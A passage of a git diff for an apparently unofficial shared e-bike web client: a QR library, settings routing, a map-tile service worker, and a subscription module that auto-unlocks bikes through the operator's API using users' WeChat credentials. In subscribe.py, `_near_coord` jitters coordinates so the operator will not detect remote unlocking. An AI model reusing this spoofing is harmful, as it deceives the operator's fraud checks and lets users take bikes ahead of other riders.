"+String(d),width:"100%",height:"100%",fill:b.colorLight});h.setAttributeNS("http://www.w3.org/2000/xmlns/","xmlns:xlink","http://www.w3.org/1999/xlink"),c.appendChild(h),h.appendChild(g("rect",{fill:b.colorDark,width:"1",height:"1",id:"template"}));for(var i=0;d>i;i++)for(var j=0;d>j;j++)if(a.isDark(i,j)){var k=g("use",{x:String(i),y:String(j)});k.setAttributeNS("http://www.w3.org/1999/xlink","href","#template"),h.appendChild(k)}},a.prototype.clear=function(){for(;this._el.hasChildNodes();)this._el.removeChild(this._el.lastChild)},a}(),p="svg"===document.documentElement.tagName.toLowerCase(),q=p?o:m()?function(){function a(){this._elImage.src=this._elCanvas.toDataURL("image/png"),this._elImage.style.display="block",this._elCanvas.style.display="none"}function d(a,b){var c=this;if(c._fFail=b,c._fSuccess=a,null===c._bSupportDataURI){var d=document.createElement("img"),e=function(){c._bSupportDataURI=!1,c._fFail&&_fFail.call(c)},f=function(){c._bSupportDataURI=!0,c._fSuccess&&c._fSuccess.call(c)};return d.onabort=e,d.onerror=e,d.onload=f,d.src="data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==",void 0}c._bSupportDataURI===!0&&c._fSuccess?c._fSuccess.call(c):c._bSupportDataURI===!1&&c._fFail&&c._fFail.call(c)}if(this._android&&this._android<=2.1){var b=1/window.devicePixelRatio,c=CanvasRenderingContext2D.prototype.drawImage;CanvasRenderingContext2D.prototype.drawImage=function(a,d,e,f,g,h,i,j){if("nodeName"in a&&/img/i.test(a.nodeName))for(var l=arguments.length-1;l>=1;l--)arguments[l]=arguments[l]*b;else"undefined"==typeof j&&(arguments[1]*=b,arguments[2]*=b,arguments[3]*=b,arguments[4]*=b);c.apply(this,arguments)}}var e=function(a,b){this._bIsPainted=!1,this._android=n(),this._htOption=b,this._elCanvas=document.createElement("canvas"),this._elCanvas.width=b.width,this._elCanvas.height=b.height,a.appendChild(this._elCanvas),this._el=a,this._oContext=this._elCanvas.getContext("2d"),this._bIsPainted=!1,this._elImage=document.createElement("img"),this._elImage.style.display="none",this._el.appendChild(this._elImage),this._bSupportDataURI=null};return e.prototype.draw=function(a){var b=this._elImage,c=this._oContext,d=this._htOption,e=a.getModuleCount(),f=d.width/e,g=d.height/e,h=Math.round(f),i=Math.round(g);b.style.display="none",this.clear();for(var j=0;e>j;j++)for(var k=0;e>k;k++){var l=a.isDark(j,k),m=k*f,n=j*g;c.strokeStyle=l?d.colorDark:d.colorLight,c.lineWidth=1,c.fillStyle=l?d.colorDark:d.colorLight,c.fillRect(m,n,f,g),c.strokeRect(Math.floor(m)+.5,Math.floor(n)+.5,h,i),c.strokeRect(Math.ceil(m)-.5,Math.ceil(n)-.5,h,i)}this._bIsPainted=!0},e.prototype.makeImage=function(){this._bIsPainted&&d.call(this,a)},e.prototype.isPainted=function(){return this._bIsPainted},e.prototype.clear=function(){this._oContext.clearRect(0,0,this._elCanvas.width,this._elCanvas.height),this._bIsPainted=!1},e.prototype.round=function(a){return a?Math.floor(1e3*a)/1e3:a},e}():function(){var a=function(a,b){this._el=a,this._htOption=b};return a.prototype.draw=function(a){for(var b=this._htOption,c=this._el,d=a.getModuleCount(),e=Math.floor(b.width/d),f=Math.floor(b.height/d),g=[''],h=0;d>h;h++){g.push("");for(var i=0;d>i;i++)g.push('');g.push("")}g.push("
"),c.innerHTML=g.join("");var j=c.childNodes[0],k=(b.width-j.offsetWidth)/2,l=(b.height-j.offsetHeight)/2;k>0&&l>0&&(j.style.margin=l+"px "+k+"px")},a.prototype.clear=function(){this._el.innerHTML=""},a}();QRCode=function(a,b){if(this._htOption={width:256,height:256,typeNumber:4,colorDark:"#000000",colorLight:"#ffffff",correctLevel:d.H},"string"==typeof b&&(b={text:b}),b)for(var c in b)this._htOption[c]=b[c];"string"==typeof a&&(a=document.getElementById(a)),this._android=n(),this._el=a,this._oQRCode=null,this._oDrawing=new q(this._el,this._htOption),this._htOption.text&&this.makeCode(this._htOption.text)},QRCode.prototype.makeCode=function(a){this._oQRCode=new b(r(a,this._htOption.correctLevel),this._htOption.correctLevel),this._oQRCode.addData(a),this._oQRCode.make(),this._el.title=a,this._oDrawing.draw(this._oQRCode),this.makeImage()},QRCode.prototype.makeImage=function(){"function"==typeof this._oDrawing.makeImage&&(!this._android||this._android>=3)&&this._oDrawing.makeImage()},QRCode.prototype.clear=function(){this._oDrawing.clear()},QRCode.CorrectLevel=d}(); \ No newline at end of file diff --git a/static/js/settings-pages.js b/static/js/settings-pages.js new file mode 100644 index 0000000..71ca76a --- /dev/null +++ b/static/js/settings-pages.js @@ -0,0 +1,100 @@ +/* One full-page settings hierarchy; browser Back and the header use the same route. */ +(function () { + 'use strict'; + const routes = { + 'settings-modal': { path: '', title: '设置', load: 'openSettingsPage' }, + 'auth-modal': { path: '/credentials', title: '微信凭证', load: 'openAuthModal' }, + 'devices-modal': { path: '/devices', title: '登录设备', load: 'openDevicesModal' }, + 'rental-settings-modal': { path: '/rental', title: '提醒与自动还车', load: 'openRentalSettingsModal' }, + 'packages-modal': { path: '/cards', title: '我的优惠卡', load: 'openPackagesModal' }, + 'orders-modal': { path: '/orders', title: '订单历史', load: 'openOrdersModal' }, + 'order-traj-modal': { path: '/orders/trajectory', title: '骑行轨迹', parent: 'orders-modal', fallback: 'openOrdersModal', close: 'closeOrderTrajModal' }, + 'subscribe-modal': { path: '/subscriptions', title: '车辆订阅', load: 'openSubscribeModal' }, + 'share-modal': { path: '/sharing', title: '共享电动车', load: 'openShareModal' }, + 'share-config-modal': { path: '/sharing/permissions', title: '共享权限', parent: 'share-modal', fallback: 'openShareModal', close: 'closeShareConfig' }, + 'share-remark-modal': { path: '/sharing/remark', title: '设置备注', parent: 'share-modal', fallback: 'openShareModal', close: 'closeShareRemark' } + }; + const shell = document.getElementById('settings-page'); + const content = document.getElementById('settings-page-main'); + let active = null; + const scrollPositions = new Map(); + const routeId = () => Object.keys(routes).find(id => location.hash === '#settings' + routes[id].path); + + function hide() { + if (active) scrollPositions.set(active, content.scrollTop); + Object.keys(routes).forEach(id => { + const view = document.getElementById(id); + view.hidden = true; + view.classList.remove('show'); + }); + shell.hidden = true; + active = null; + } + function show(id) { + hide(); + const view = document.getElementById(id); + view.hidden = false; + view.classList.add('show'); + view.removeAttribute('aria-hidden'); + shell.hidden = false; + active = id; + document.getElementById('settings-page-title').textContent = routes[id].title; + document.getElementById('settings-page-back').setAttribute('aria-label', id === 'settings-modal' ? '返回地图' : '返回上一页'); + document.getElementById('settings-page-back-label').textContent = id === 'settings-modal' ? '地图' : '返回'; + document.getElementById('settings-page-home').hidden = id === 'settings-modal'; + content.scrollTop = scrollPositions.get(id) || 0; + document.getElementById('settings-page-title').focus({ preventScroll: true }); + } + function open(id) { + if (!routes[id]) return; + const hash = '#settings' + routes[id].path; + if (location.hash !== hash) { + const depth = routeId() ? (history.state?.settingsDepth || 0) : 0; + history.pushState({ settingsDepth: depth + 1 }, '', hash); + } + show(id); + } + function close() { + const depth = history.state?.settingsDepth || 0; + hide(); + if (depth > 0 && routeId()) history.go(-depth); + else history.replaceState(null, '', location.pathname + location.search); + document.getElementById('auth-btn')?.focus({ preventScroll: true }); + } + function back() { + if (!active) return; + const route = routes[active]; + if ((history.state?.settingsDepth || 0) > 0) history.back(); + else if (active !== 'settings-modal') { + const parent = route.parent || 'settings-modal'; + history.replaceState(null, '', '#settings' + routes[parent].path); + const load = routes[parent].load; + if (load && typeof window[load] === 'function') window[load](); + else show(parent); + } else close(); + } + function requestBack() { + const cleanup = active && routes[active].close; + if (cleanup && typeof window[cleanup] === 'function') window[cleanup](); + else back(); + } + function restore() { + const id = routeId(); + if (!id) { hide(); return; } + if (!routes[id].load) { + const parent = routes[id].parent || 'settings-modal'; + history.replaceState(null, '', '#settings' + routes[parent].path); + } + const load = routes[id].load || routes[id].fallback; + if (load && typeof window[load] === 'function') window[load](); + else show(id); + } + window.addEventListener('popstate', () => { + const id = routeId(); + if (id) show(id); else hide(); + }); + shell.addEventListener('keydown', event => { + if (event.key === 'Escape') { event.preventDefault(); requestBack(); } + }); + window.SettingsPages = { open, back, requestBack, close, hide, restore, isOpen: () => !shell.hidden }; +})(); diff --git a/static/js/ui-motion.js b/static/js/ui-motion.js new file mode 100644 index 0000000..d2bba5a --- /dev/null +++ b/static/js/ui-motion.js @@ -0,0 +1,37 @@ +(function () { + 'use strict'; + + const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches; + + window.uiNavigate = function (url) { + if (reduceMotion) { + window.location.href = url; + return; + } + document.body.classList.add('ui-page-leaving'); + window.setTimeout(function () { window.location.href = url; }, 170); + }; + + window.uiCloseWindow = function () { + if (reduceMotion) { + window.close(); + return; + } + document.body.classList.add('ui-page-leaving'); + window.setTimeout(function () { window.close(); }, 170); + }; + + document.addEventListener('click', function (event) { + const link = event.target.closest('a[href]'); + if (!link || event.defaultPrevented || event.button !== 0 || event.metaKey || + event.ctrlKey || event.shiftKey || event.altKey || link.target === '_blank' || + link.hasAttribute('download')) return; + + const destination = new URL(link.href, window.location.href); + if (destination.origin !== window.location.origin || + (destination.pathname === window.location.pathname && destination.hash)) return; + + event.preventDefault(); + window.uiNavigate(destination.href); + }); +})(); diff --git a/static/marker_4CAF50.png b/static/marker_4CAF50.png new file mode 100644 index 0000000..b9efc37 Binary files /dev/null and b/static/marker_4CAF50.png differ diff --git a/static/marker_9E9E9E.png b/static/marker_9E9E9E.png new file mode 100644 index 0000000..e0ee078 Binary files /dev/null and b/static/marker_9E9E9E.png differ diff --git a/static/marker_E91E8C.png b/static/marker_E91E8C.png new file mode 100644 index 0000000..15ec024 Binary files /dev/null and b/static/marker_E91E8C.png differ diff --git a/static/marker_F44336.png b/static/marker_F44336.png new file mode 100644 index 0000000..0dad0af Binary files /dev/null and b/static/marker_F44336.png differ diff --git a/static/marker_FF9800.png b/static/marker_FF9800.png new file mode 100644 index 0000000..d7311b9 Binary files /dev/null and b/static/marker_FF9800.png differ diff --git a/static/sw.js b/static/sw.js new file mode 100644 index 0000000..45b132b --- /dev/null +++ b/static/sw.js @@ -0,0 +1,112 @@ +/* ===================================================================== + * sw.js — 地图瓦片本地缓存 (Service Worker) + * 作用:拦截并缓存百度地图(及常见地图CDN)的底图瓦片资源,第二次打开 + * 同一区域时直接从本地 Cache 读取,减少重复下载。 + * + * 注意: + * - 仅缓存地图瓦片图片;对本站 /api/*、页面文档等一律不缓存(车辆数据需实时)。 + * - 百度瓦片为跨域 no-cors(opaque) 响应,可缓存可命中,但缓存进出由浏览器管理。 + * - 需 https(或 localhost) 环境。若发现某些瓦片域名未命中,按需扩展 CACHE_HOSTS。 + * - 瓦片缓存容量由浏览器配额控制;本脚本会主动裁剪旧缓存以免撑爆。 + * ===================================================================== */ + +const MAP_CACHE = 'xbniu-map-tiles-v1'; + +// 百度/地图瓦片常见来源域名或路径片段。命中即视为“地图瓦片”走缓存策略。 +// 覆盖百度 GL WebGL 实际使用的 maponlineX.bdimg.com、*.map.baidu.com、bmapcdn.com 等。 +const CACHE_HOST_MARKERS = [ + 'bdimg.com', // 百度图片/瓦片主域名(maponline0/1/2...bdimg.com 等) + 'map.baidu.com', // 百度地图 + 'bmapcdn.com', // 百度 GL 静态资源 + 'bcebos.com', // 百度云存储(部分瓦片/资源) + 'mapabc.com', // 百度地图历史域名 + 'baiducontent.com' // 百度内容域 +]; + +function isMapTile(url) { + try { + const u = new URL(url); + if (CACHE_HOST_MARKERS.some(m => u.hostname.indexOf(m) !== -1)) { + return true; + } + return false; + } catch (e) { + return false; + } +} + +// POST 或非 GET 一律跳过(不去占用 opaque 缓存) +function onlyGET(req) { + return req.method === 'GET'; +} + +self.addEventListener('install', (event) => { + // 立即接管,不等旧的这一版 + self.skipWaiting(); + event.waitUntil( + caches.open(MAP_CACHE).then((c) => c.keys()).catch(() => {}) + ); +}); + +self.addEventListener('activate', (event) => { + event.waitUntil( + caches.keys() + .then((keys) => Promise.all( + keys.filter((k) => k !== MAP_CACHE && k.startsWith('xbniu-map-tiles-')) + .map((k) => caches.delete(k)) + )) + .then(() => self.clients.claim()) + ); +}); + +self.addEventListener('message', (event) => { + // 提供清空缓存/状态消息,便于页面内联测试或调试 + if (event.data && event.data.type === 'CLEAR_MAP_CACHE') { + caches.delete(MAP_CACHE).then(() => { + if (self.registration.waiting) self.registration.waiting.postMessage({type:'CLEARED'}); + }); + } +}); + +self.addEventListener('fetch', (event) => { + const req = event.request; + const url = req.url; + + // 非 GET、以及非地图瓦片的其它请求(包括本站 /api/* 与页面)——保持默认直连 + if (!onlyGET(req)) return; + const tile = isMapTile(url); + // 诊断:打印所有百度/地图域 GET 请求,便于确认到底哪些被拦截 + if (tile) console.log('[SW] 缓存请求: ' + url.slice(0, 120)); + if (!tile) return; + + // 地图瓦片:缓存优先;未命中则网络获取并写入缓存 + event.respondWith( + caches.match(req).then((cached) => { + if (cached) return cached; + return fetch(req).then((resp) => { + // 关键:百度瓦片多为跨域 no-cors 的 opaque 响应,resp.status === 0。 + // 只要“似成功”(status 200 或 0 即 opaque) 就缓存;明确的 4xx/5xx 不缓存。 + const ok = (resp && (resp.status === 200 || resp.status === 0)); + if (ok) { + const copy = resp.clone(); + caches.open(MAP_CACHE).then((cache) => cache.put(req, copy)); + trimCache(MAP_CACHE, 300); + } + return resp; + }).catch(() => cached); + }) + ); +}); + +// 把指定缓存裁剪到不超过 maxItems 条(旧条目优先删除:新增条目排前面) +function trimCache(cacheName, maxItems) { + caches.open(cacheName).then((cache) => { + cache.keys().then((keys) => { + if (keys.length > maxItems) { + // keys() 返回插入顺序大致新→旧不确定;稳妥起见删掉超出部分中的前若干个 + const toDelete = keys.length - maxItems; + Promise.all(keys.slice(0, toDelete).map((k) => cache.delete(k))).catch(() => {}); + } + }); + }).catch(() => {}); +} diff --git a/subscribe.py b/subscribe.py new file mode 100644 index 0000000..b944a49 --- /dev/null +++ b/subscribe.py @@ -0,0 +1,551 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""用车订阅提醒:按规则定时统计某停车点附近的可用电动车,可选自动开锁。 + +- 每用户最多 5 条规则;规则 = 停车点(下拉) + 星期 + 时间(HH:MM) +- 命中时发邮件:附近可用车辆数 + 可自动开锁的具体车辆编号 +- auto_unlock:真实开锁链路(扫码 → 下单 → 开锁),带筛选/排序/冲突重试: + * 车型筛选:小车 / 大车 / 红车(可多选) + * 电量区间:min_electric ~ max_electric + * 排序:电量从高到低(默认)/ 低到高 / 距离最近 + * 冲突避让:所选车若被别人同时开走,自动换下一个候选,重试次数可配(默认 3) +- 判定用最近 20 分钟内的采集点(每车取最新一条),坐标系与车辆一致(GCJ02)。 +""" +import datetime as dt +import math +import sqlite3 +import random +import threading +import time + +from campus import bike_kind, bikes_near_parking, load_locations, parking_candidates +from db import get_db +from email_utils import send_email + +CHECK_INTERVAL = 30 # 调度精度:30 秒扫一次规则 +SCAN_FRESH_MINUTES = 20 # 采集点新鲜度 +MAX_RULES_PER_USER = 5 + +AUTO_UNLOCK_ENABLED = True # 自动开锁总开关(规则勾选 + 本开关同时为真才执行) + +VALID_KINDS = ("small", "big", "red") +SORT_OPTIONS = { + "electric_desc": "电量从高到低", + "electric_asc": "电量从低到高", + "distance_asc": "距离最近优先", +} + +WEEKDAY_NAMES = {0: "每天", 1: "周一", 2: "周二", 3: "周三", + 4: "周四", 5: "周五", 6: "周六", 7: "周日"} + + +# ========== 规则校验 ========== + +def normalize_rule(data: dict) -> dict: + """校验并标准化订阅规则输入(含自动开锁的筛选/排序/重试配置)。非法抛 ValueError。""" + if not isinstance(data, dict): + raise ValueError("规则格式不正确") + try: + location_id = int(data.get("location_id")) + except (TypeError, ValueError): + raise ValueError("请选择停车点") + try: + weekday = int(data.get("weekday", 0)) + except (TypeError, ValueError): + raise ValueError("星期格式不正确") + if weekday not in WEEKDAY_NAMES: + raise ValueError("星期仅支持 0(每天) 与 1-7") + + time_str = str(data.get("time", "")).strip() + try: + hh, mm = time_str.split(":") + hour, minute = int(hh), int(mm) + except (ValueError, TypeError): + raise ValueError("时间格式应为 HH:MM") + if not (0 <= hour <= 23 and 0 <= minute <= 59): + raise ValueError("时间不在有效范围内") + minute_of_day = hour * 60 + minute + + def _bool(name, default=False): + v = data.get(name, default) + if isinstance(v, bool): + return v + if v in (0, 1, "0", "1"): + return str(v) == "1" + if isinstance(v, str) and v.lower() in ("true", "false"): + return v.lower() == "true" + raise ValueError(f"{name} 必须是布尔值") + + # 车型筛选:小车/大车/红车(small/big/red),空=不限制(存全量) + raw_kinds = data.get("kinds") + if raw_kinds in (None, ""): + kinds = ["small", "big", "red"] + else: + if isinstance(raw_kinds, str): + raw_kinds = [k.strip() for k in raw_kinds.replace(",", ",").split(",") if k.strip()] + kinds = [str(k).strip().lower() for k in raw_kinds if str(k).strip()] + invalid = [k for k in kinds if k not in VALID_KINDS] + if invalid: + raise ValueError("车型仅支持 小车/大车/红车") + if not kinds: + kinds = ["small", "big", "red"] + + def _int_range(name, default, lo, hi): + v = data.get(name, default) + if v in (None, ""): + return default + try: + v = int(float(v)) + except (TypeError, ValueError): + raise ValueError(f"{name} 必须是数字") + if v < lo or v > hi: + raise ValueError(f"{name} 须在 {lo} 到 {hi} 之间") + return v + + min_e = _int_range("min_electric", 0, 0, 100) + max_e = _int_range("max_electric", 100, 0, 100) + if min_e > max_e: + raise ValueError("电量下限不能大于上限") + + sort_by = str(data.get("sort_by") or "electric_desc").strip() + if sort_by not in SORT_OPTIONS: + raise ValueError("排序方式不支持") + try: + retry_times = int(data.get("retry_times", 3)) + except (TypeError, ValueError): + raise ValueError("重试次数必须是数字") + retry_times = max(1, min(10, retry_times)) + + return { + "location_id": location_id, + "weekday": weekday, + "minute_of_day": minute_of_day, + "notify_enabled": _bool("notify_enabled", True), + "auto_unlock": _bool("auto_unlock", False), + "enabled": _bool("enabled", True), + "kinds": ",".join(kinds), + "min_electric": min_e, + "max_electric": max_e, + "sort_by": sort_by, + "retry_times": retry_times, + } + + +def rule_filters(rule: dict) -> dict: + """从库里的规则行解析出筛选参数(容错:老数据缺列时用默认值)。""" + raw = str(rule.get("kinds") or "").strip() + kinds = [k for k in raw.split(",") if k in VALID_KINDS] or ["small", "big", "red"] + try: + retry_times = max(1, min(10, int(rule.get("retry_times") or 3))) + except (TypeError, ValueError): + retry_times = 3 + sort_by = str(rule.get("sort_by") or "electric_desc") + if sort_by not in SORT_OPTIONS: + sort_by = "electric_desc" + try: + min_e = int(rule.get("min_electric") if rule.get("min_electric") is not None else 0) + except (TypeError, ValueError): + min_e = 0 + try: + max_e = int(rule.get("max_electric") if rule.get("max_electric") is not None else 100) + except (TypeError, ValueError): + max_e = 100 + return {"kinds": kinds, "min_electric": min_e, "max_electric": max_e, + "sort_by": sort_by, "retry_times": retry_times} + +def count_user_rules(user_id: int) -> int: + conn = get_db() + row = conn.execute("SELECT COUNT(*) AS c FROM subscribe_rules WHERE user_id = ?", + (user_id,)).fetchone() + conn.close() + return row["c"] if row else 0 + + +# ========== 车辆统计 ========== + +def latest_bike_points(): + """每辆车最近一条采集点(限定新鲜度窗口)。""" + conn = get_db() + try: + rows = conn.execute(""" + SELECT b.bike_code, b.latitude, b.longitude, b.state, b.status, b.electric + FROM bike_history b + JOIN ( + SELECT bike_code, MAX(recorded_at) AS m + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', ?) + GROUP BY bike_code + ) x ON b.bike_code = x.bike_code AND b.recorded_at = x.m + """, (f"-{SCAN_FRESH_MINUTES} minutes",)).fetchall() + except Exception: + rows = [] + finally: + conn.close() + return [dict(r) for r in rows] + + +def stat_location(loc): + """统计某个停车点附近的车辆。返回 None 表示该地点没有可用判定(缺坐标)。""" + if loc is None: + return None + try: + if loc.get("latitude") is None or loc.get("longitude") is None: + return None + except Exception: + return None + points = latest_bike_points() + return bikes_near_parking(points, loc) + + +# ========== 自动开锁(真实链路) ========== + +def _near_coord(lat, lng, jitter=0.0001): + """车辆坐标附近加随机抖动,模拟真实定位(避免每次上报同一精确点被判远程操作)。""" + try: + lat, lng = float(lat), float(lng) + except (TypeError, ValueError): + lat, lng = 36.67, 116.98 + return (lat + random.uniform(-jitter, jitter), lng + random.uniform(-jitter, jitter)) + + +def _live_coord(user_id: int, code: str, btype=None): + """实时抓该车坐标(车会被骑走),返回 (lat, lng) 或 None。""" + from wechat import request_with_user_auth + types = [] + if btype: + types.append(str(btype)) + for t in ("3", "1", "6"): + if t not in types: + types.append(t) + for t in types: + try: + res = request_with_user_auth(user_id, "GET", "/project/map", + params={"type": t}, _silent=True) + except Exception: + continue + if res.get("rtn_code") != 0: + continue + for st in ((res.get("data") or {}).get("bicycleStation") or []): + if str(st.get("code")) == str(code) and st.get("latitude") and st.get("longitude"): + return st["latitude"], st["longitude"] + return None + + +def _try_auto_unlock(user_id: int, bike_code: str) -> dict: + """真实自动开锁:扫码 → 创建订单 → 开锁(全部使用订阅人自己的凭据)。 + + 返回 {"success": bool, "occupied": bool, "order_id": str|None, "message": str} + occupied=True 表示「这辆车已被别人抢先」,调用方可换下一个候选重试。 + """ + from wechat import request_with_user_auth + if not AUTO_UNLOCK_ENABLED: + return {"success": False, "occupied": False, + "message": "自动开锁总开关未开启"} + + code = str(bike_code or "").strip() + if not code: + return {"success": False, "occupied": False, "message": "车辆编号为空"} + + # 1) 扫码查车(同时判断车是否还在/是否已被占用) + bike = request_with_user_auth(user_id, "POST", "/project/bicycle", + data={"code": code}, _silent=True) + if bike.get("rtn_code") != 0: + msg = bike.get("message") or "查询车辆失败" + occupied = any(k in msg for k in ("使用中", "占用", "已被", "骑行")) + return {"success": False, "occupied": occupied, "message": msg} + bike_data = bike.get("data") or {} + if str(bike_data.get("status")) == "1": + return {"success": False, "occupied": True, + "message": "该车已被他人开锁(使用中)"} + + # 2) 下单坐标:优先实时地图坐标,取不到退回扫码坐标;两者都加抖动 + live = _live_coord(user_id, code, bike_data.get("type")) + if live: + lat, lng = _near_coord(live[0], live[1]) + else: + lat, lng = _near_coord(bike_data.get("latitude", 36.67), + bike_data.get("longitude", 116.98)) + + order = request_with_user_auth( + user_id, "POST", "/record/order", + data={"code": code, "start_longitude": lng, "start_latitude": lat}, _silent=True) + if order.get("rtn_code") != 0 or not (order.get("data") or {}).get("order_id"): + msg = order.get("message") or "创建订单失败" + # 有未支付订单:尝试用月卡/周卡自动支付后重下一次 + if "未支付" in msg or "待支付" in msg: + try: + from routes.rental import _try_card_pay_auto + info = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + unpaid = (info.get("data") or {}).get("nonDealOrder") or {} + if unpaid.get("order_id"): + pay = _try_card_pay_auto(user_id, unpaid["order_id"], + unpaid.get("code") or code) + if pay.get("success"): + order = request_with_user_auth( + user_id, "POST", "/record/order", + data={"code": code, "start_longitude": lng, + "start_latitude": lat}, _silent=True) + msg = order.get("message") or msg + except Exception as exc: + print(f"[订阅开锁] 自动卡支付异常: {exc}") + if order.get("rtn_code") != 0 or not (order.get("data") or {}).get("order_id"): + occupied = any(k in msg for k in ("使用中", "占用", "已被", "骑行", "锁定")) + if order.get("rtn_code") == 102001: + msg = "微信凭据已失效,请重新配置后再用自动开锁" + return {"success": False, "occupied": occupied, "message": msg} + + order_id = order["data"]["order_id"] + + # 3) 开锁 + opened = request_with_user_auth(user_id, "POST", "/record/qrOrder", + data={"order_id": order_id}, _silent=True) + if opened.get("rtn_code") != 0: + return {"success": False, "occupied": False, "order_id": str(order_id), + "message": opened.get("message") or "开锁指令失败"} + + # 4) 本地落单 + 计时器 + 起点位置(与手动开锁一致,source='subscribe') + try: + from db import get_user_rental_settings + from timer import start_rental_timer + settings = get_user_rental_settings(user_id) + duration = int(settings["rental_duration_minutes"]) + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + end = now + dt.timedelta(minutes=duration) + conn = get_db() + email = "" + row = conn.execute("SELECT email FROM users WHERE id = ?", (user_id,)).fetchone() + if row: + email = row["email"] or "" + try: + conn.execute(""" + INSERT INTO rentals (id, order_id, bike_code, email, user_id, start_time, + end_time, duration, expired, source, renewal_round) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, 'subscribe', 1) + """, (int(order_id), str(order_id), code, email, user_id, + now.strftime("%Y-%m-%d %H:%M:%S"), end.strftime("%Y-%m-%d %H:%M:%S"), + duration)) + except sqlite3.IntegrityError: + # id 与历史行冲突(极少见):改用自增 id,order_id 仍记录真实订单号 + conn.execute(""" + INSERT INTO rentals (order_id, bike_code, email, user_id, start_time, + end_time, duration, expired, source, renewal_round) + VALUES (?, ?, ?, ?, ?, ?, ?, 0, 'subscribe', 1) + """, (str(order_id), code, email, user_id, + now.strftime("%Y-%m-%d %H:%M:%S"), end.strftime("%Y-%m-%d %H:%M:%S"), + duration)) + conn.commit() + conn.close() + start_rental_timer(rental_id=int(order_id), email=email, bike_code=code, + duration_minutes=duration, user_id=user_id) + try: + from routes.rental import _record_rental_start + _record_rental_start(int(order_id), lat, lng) + except Exception as exc: + print(f"[订阅开锁] 回填起点失败: {exc}") + except Exception as exc: + # 上游已开锁成功,本地记录失败不影响结果,但要留痕 + print(f"[订阅开锁] 本地落单失败(上游已开锁): {exc}") + + return {"success": True, "occupied": False, "order_id": str(order_id), + "lat": lat, "lng": lng, "message": "开锁成功"} + + +def auto_unlock_with_retry(rule: dict, candidates: list, retry_times: int) -> dict: + """按候选顺序尝试开锁:被他人抢先就换下一个,最多 retry_times 次。 + + 返回 {"success": bool, "bike": dict|None, "attempts": [...], "message": str} + """ + attempts = [] + tries = min(max(1, int(retry_times or 1)), max(1, min(len(candidates), 10))) + for idx, cand in enumerate(candidates[:tries], start=1): + code = cand["bike_code"] + res = _try_auto_unlock(rule["user_id"], code) + attempts.append({ + "n": idx, "bike_code": code, "kind_label": cand.get("kind_label"), + "electric": cand.get("electric"), "distance": cand.get("distance"), + "success": bool(res.get("success")), "occupied": bool(res.get("occupied")), + "message": res.get("message") or "", + }) + if res.get("success"): + print(f"[订阅开锁] 成功: rule={rule['id']} 第{idx}次 车辆={code}") + return {"success": True, "bike": cand, "attempts": attempts, + "order_id": res.get("order_id"), + "message": f"第 {idx} 次尝试成功"} + # 非「被占用」类失败(如凭据失效/网络)没必要继续换车 + if not res.get("occupied"): + print(f"[订阅开锁] 中止: rule={rule['id']} 车辆={code} 原因={res.get('message')}") + return {"success": False, "bike": None, "attempts": attempts, + "message": res.get("message") or "开锁失败"} + print(f"[订阅开锁] 避让: rule={rule['id']} 车辆={code} 被占用,换下一个候选") + return {"success": False, "bike": None, "attempts": attempts, + "message": "候选车辆均被他人抢先" if attempts else "没有符合条件的车辆"} + +# ========== 邮件 ========== + +def _render_html(title, lead, details): + import html as _html + rows = "".join( + '{}' + '{}'.format( + _html.escape(str(k)), _html.escape(str(v))) + for k, v in details) + return f""" + +
+
+
+
+
小白超人 · 车辆订阅
+

{_html.escape(title)}

+

{_html.escape(lead)}

+ + {rows} +
+
+
+

这是你订阅的定时车辆播报。

+
+""" + + +def _user_email(user_id): + from db import get_user_alert_email + return get_user_alert_email(user_id) + + +def fire_rule(rule: dict): + """执行一条规则:按筛选条件统计候选车辆;需要时自动开锁并邮件汇报。""" + from db import get_user_alert_email + locs = load_locations() + loc = next((l for l in locs if l["id"] == rule["location_id"]), None) + to_email = get_user_alert_email(rule["user_id"]) + if not to_email: + return False + if loc is None: + return False + + flt = rule_filters(rule) + points = latest_bike_points() + stat = bikes_near_parking(points, loc) + # 候选:只含「符合车型/电量筛选」的空闲可用车,已按排序规则排好 + candidates = parking_candidates( + points, loc, + kinds=flt["kinds"], min_electric=flt["min_electric"], + max_electric=flt["max_electric"], sort_by=flt["sort_by"], + limit=max(10, flt["retry_times"] + 5)) + + tz = dt.timezone(dt.timedelta(hours=8)) + now_str = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M") + rule_desc = (f"每周{WEEKDAY_NAMES.get(rule['weekday'], '')} " + if rule["weekday"] else "每天 ") + \ + f"{rule['minute_of_day'] // 60:02d}:{rule['minute_of_day'] % 60:02d}" + kind_desc = "/".join({"small": "小车", "big": "大车", "red": "红车"}[k] + for k in flt["kinds"]) + filter_desc = f"{kind_desc} · 电量 {flt['min_electric']}%-{flt['max_electric']}% · " \ + f"{SORT_OPTIONS.get(flt['sort_by'], flt['sort_by'])}" + + unlock_result = None + n_cand = len(candidates) + if rule.get("auto_unlock") and candidates: + unlock_result = auto_unlock_with_retry(rule, candidates, flt["retry_times"]) + + # ---------- 组邮件 ---------- + if unlock_result and unlock_result.get("success"): + bike = unlock_result["bike"] + title = f"已自动开锁 #{bike['bike_code']}({bike.get('kind_label')})" + lead = (f"你订阅的时刻到了,{loc['name']}附近符合条件的有 {n_cand} 辆," + f"系统已按「{SORT_OPTIONS.get(flt['sort_by'])}」为你开锁 " + f"#{bike['bike_code']}。到点会自动还车并用优惠卡支付。") + elif unlock_result: + title = f"{loc['name']}附近自动开锁未成功" + lead = (f"符合条件的有 {n_cand} 辆,但本次自动开锁失败:" + f"{unlock_result.get('message')}。可手动到页面开锁。") + elif n_cand > 0: + title = f"{loc['name']}附近有 {n_cand} 辆符合条件" + lead = f"你订阅的时刻到了:{loc['name']}附近有 {n_cand} 辆符合你的筛选条件,快去开锁吧。" + else: + title = f"{loc['name']}附近暂无符合条件的车辆" + lead = (f"你订阅的时刻到了:{loc['name']}附近最近 {SCAN_FRESH_MINUTES} 分钟内共 " + f"{stat['total']} 辆车,但没有符合「{filter_desc}」的空闲车。") + + details = [("订阅地点", loc["name"]), ("规则", 